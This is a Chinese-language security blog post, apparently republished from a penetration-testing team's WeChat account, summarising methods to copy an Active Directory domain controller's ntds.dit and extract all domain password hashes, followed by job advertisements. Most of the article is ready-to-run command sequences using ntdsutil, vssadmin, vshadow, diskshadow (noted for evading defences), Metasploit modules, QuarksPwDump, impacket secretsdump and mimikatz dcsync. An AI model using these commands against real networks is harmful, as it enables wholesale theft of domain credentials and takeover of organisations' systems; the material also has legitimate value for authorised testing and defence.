ntds.dit导出与利用总结
2023-4-7 00:1:42 Author: 白帽子(查看原文) 阅读量:48 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

介绍

Ntds.dit(也被称为Active Directory database),默认路径为:C:\Windows\NTDS,且只能通过域控制器进程和协议访问。

直接复制是无法复制出来的,会弹出提示框,提示文件已在Encrypting File System(EFS)中打开

Ntdsutil工具提取方法

Ntdsutil介绍:

ntdsutil.exe是一个Active Directory提供管理设施的命令行工具。可使用ntdsutil.exe执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导(DCPromp.exe)成功降级的域控制器留下的元数据,该工具默认被安装在域控制器上,我们可以在域控制器上进行操作,也可以通过域内机器远程在域控制器上操作
支持的操作系统:Server 2003、Server 2008、Server 2012

创建快照:

ntdsutil snapshot "activate instance ntds" create quit quit

查看快照是否创建成功:

ntdsutil snapshot "List All" quit quit

挂载快照:

ntdsutil snapshot "mount {GUID}" quit quit

拷贝快照:

copy C:\$SNAP_202202281107_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit

复制文件:
这样子就可以把ntds文件复制出来了

卸载并删除快照:

ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

vssadmin工具提取

vssadmin介绍:
vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012
创建快照:

vssadmin create shadow /for=c:

复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

删除快照:

vssadmin delete shadows /for=c: /quiet

vssown.vbs

vssown介绍:
vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务。下载地址:

https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
启动卷影复制服务:

cscript vssown.vbs /start

创建一个C盘的卷影副本:

cscript vssown.vbs /create c

列出当前卷影副本:

cscript vssown.vbs /list

复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影副本:

cscript vssown.vbs /delete {ID}

NTDSUTIL的IFM

将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中:

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中:

Nishang

Nishang介绍:
Nishang 是一个框架和脚本和有效负载的集合,它支持使用 PowerShell 进行攻击性安全、渗透测试和红队。Nishang 在渗透测试的所有阶段都很有用。其中Copy-VSS.ps1脚本,可以有效的下载地址:https://github.com/samratashok/nishang
导入Copy-VSS.ps1:

import-module .\Copy-VSS.ps1

执行命令:

Copy-vss

vshadow

vshadow介绍:
vshadow是一个简单的指令行工具,它允许任何人创建卷影拷贝。因为是微软自带的,所以可以有效的Bypass防火墙。下载地址:

https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/
vshadow创建快照:

vshadow.exe -p -nw C:

vshadow查看快照:

vshadow.exe -q

复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

vshadow删除快照:

vshadow.exe -da

diskshadow

diskshadow介绍:
DiskShadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下DiskShadow.exe使用了一种交互式命令解释器,这里跟DiskRaid或DiskPart比较类似。事实上,因为DiskShadow的代码是由微软官方签名的,而且在Windows Server 2008、Windows Server 2012和Windows Server 2016中默认包含了DiskShadow。DiskShadow.exe也是可以用来操作VSS导出ntds.dit,其功能上类似vshadow。它同样是被放在了c:\windows\system32目录中,而vshadow则是被包含在windowsSDK中,实战中可能还需要想办法传到目标机器上,也就是说,diskshadow在我们实际渗透过程中更便于在目标系统上使用。diskshadow拥有交互模式和非交互模式两种,交互模式需要登录远程桌面等图形化管理方法,不利于隐蔽的进行渗透,所以我们一般使用非交互模式进行操作。因为不论是交互模式还是非交互模式都可以使用EXEC通过调取一个脚本文件执行相关命令
diskshadow基础用法:
先写一个执行计算机的命令保存到c盘

echo exec C:\Windows\System32\calc.exe > c:\command.txt

然后使用diskshadow执行即可打开计算机,使用此方法还可以绕过很多waf,比如powershell无文件落地,因为diskshadow自带微软官方签名

diskshadow.exe /s c:\command.txt

diskshadow提取ntds.dit:
把以下代码保存到txt并执行

set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% k:exec “cmd.exe” /c copy K:\Windows\NTDS\ntds.dit c:\ntds.ditdelete shadows alllist shadows allresetexit

可以看到多出来了一个盘,这个盘的windows\NTDS\文件夹是可以复制出来的

使用Metasploit获取域散列

msf中可能用到的模块

post/windows/gather/ntds_location 该模块可查看ntds路径post/windows/gather/smart_hashdump 在线导出域账号hash(建议在2012以上使用)auxiliary/admin/smb/psexec_ntdsgrad 利用域管账号,导出ntds必要文件到本地post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出post/windows/gather/credentials/domain_hashdump 介绍其方法

模块:post/windows/gather/ntds_location

该模块可查看ntds路径,首先获取一个域控的shell

获取shell之后,使用模块进行查找路径:

msf6 > search ntdsmsf6 > use post/windows/gather/ntds_locationmsf6 post(windows/gather/ntds_location) > set SESSION 1msf6 post(windows/gather/ntds_location) > run

模块:post/windows/gather/smart_hashdump
在线导出域账号hash(建议在2012以上使用)

msf6 > search smart_hashmsf6 > use post/windows/gather/smart_hashdumpmsf6 post(windows/gather/smart_hashdump) > set SESSION 1msf6 post(windows/gather/smart_hashdump) > run

模块:auxiliary/admin/smb/psexec_ntdsgrad
利用域管账号,导出ntds必要文件到本地

msf6 > search ntdsmsf6 > use auxiliary/admin/smb/psexec_ntdsgrabmsf6 auxiliary(admin/smb/psexec_ntdsgrab) > set RHOSTS 172.16.1.169msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBDomain 域名msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBUser 用户名msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBPass 密码msf6 auxiliary(admin/smb/psexec_ntdsgrab) > run

模块:post/windows/gather/ntds_grabber

利用powershell将ntds必要文件下载到本地后导出msf6 > search ntds_grabbermsf6 > use post/windows/gather/ntds_grabbermsf6 post(windows/gather/smart_hashdump) > set SESSION 1msf6 post(windows/gather/smart_hashdump) > run

QuarksPwDump导出域账号域散列值

QuarksPwDump介绍:
QuarksPwDump是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker等等。
下载地址:https://github.com/tuthimi/quarkspwdump/
从注册表抓取System:

reg save hklm\system system.hive

修复ntds.dit:

esentutl /p /o ntds.dit

QuarksPwDump导出域用户hash到log.txt:

QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt

使用esedbexport恢复ntds.dit

安装依赖:

sudo apt-get install autoconf automake autopoint libtool pkg-config

安装libesedb:
下载地址:https://github.com/libyal/libesedb

进行安装

wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gztar zvxf libesedb-experimental-20200418.tar.gz./configuresudo make && make install && ldconfigsudo ldconfigesedbtools/esedbexport

使用libesedb提取信息:

esedbexport -m tables ntds.dit

提取完了后会出现一个文件夹,里面存放了很多个表

安装ntdsxtract:

git clone https://github.com/csababarta/ntdsxtract.gitcd ntdsxtract/python setup.py build && python setup.py install

安装完成后将提取出的tds.dit.export文件夹中的datatable.3和link_table.5文件,以及System文件一起放入ntdsxtract文件夹,system文件位置在

C:\Windows\System32\config

如果复制不出来可以使用diskshadow,或者从注册表中导出

reg save hklm\system system.hive

然后使用以下命令将域内的所有用户及散列值导出到result.txt文件中

python dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt

使用impacket导出Hash

介绍:
Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,对于某些协议(如SMB1-3和MSRPC),提供协议实现本身。数据包可以从零开始构造,也可以从原始数据解析,而面向对象的API使使用深层协议层次结构变得简单。
下载:

git clone https://github.com/SecureAuthCorp/impacket.gitpython setup.py install

导出Hash:

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

利用Dcsync获取域用户Hash

介绍:
Mimikatz有一个名为dcsync的功能,它利用目录复制服务直接读取ntds.dit文件检索哈希值,但是必须使用域管理员权限运行mimikatz才可以读取ntds.dit
使用方法:

lsadump::dcsync /domain:god.org /all /csv

指定某个用户:

lsadump::dcsync /domain:god.org /all /user:Administrator

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:红队武器化Golang开发工程师

工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246618&idx=1&sn=0794951438a48cf8ad9da68e9751b851&chksm=82ea5673b59ddf6508b225f9b4822d235e37998c2577d3c3d0c491dc591a265157d1da8a39e4#rd
如有侵权请联系:admin#unsafe.sh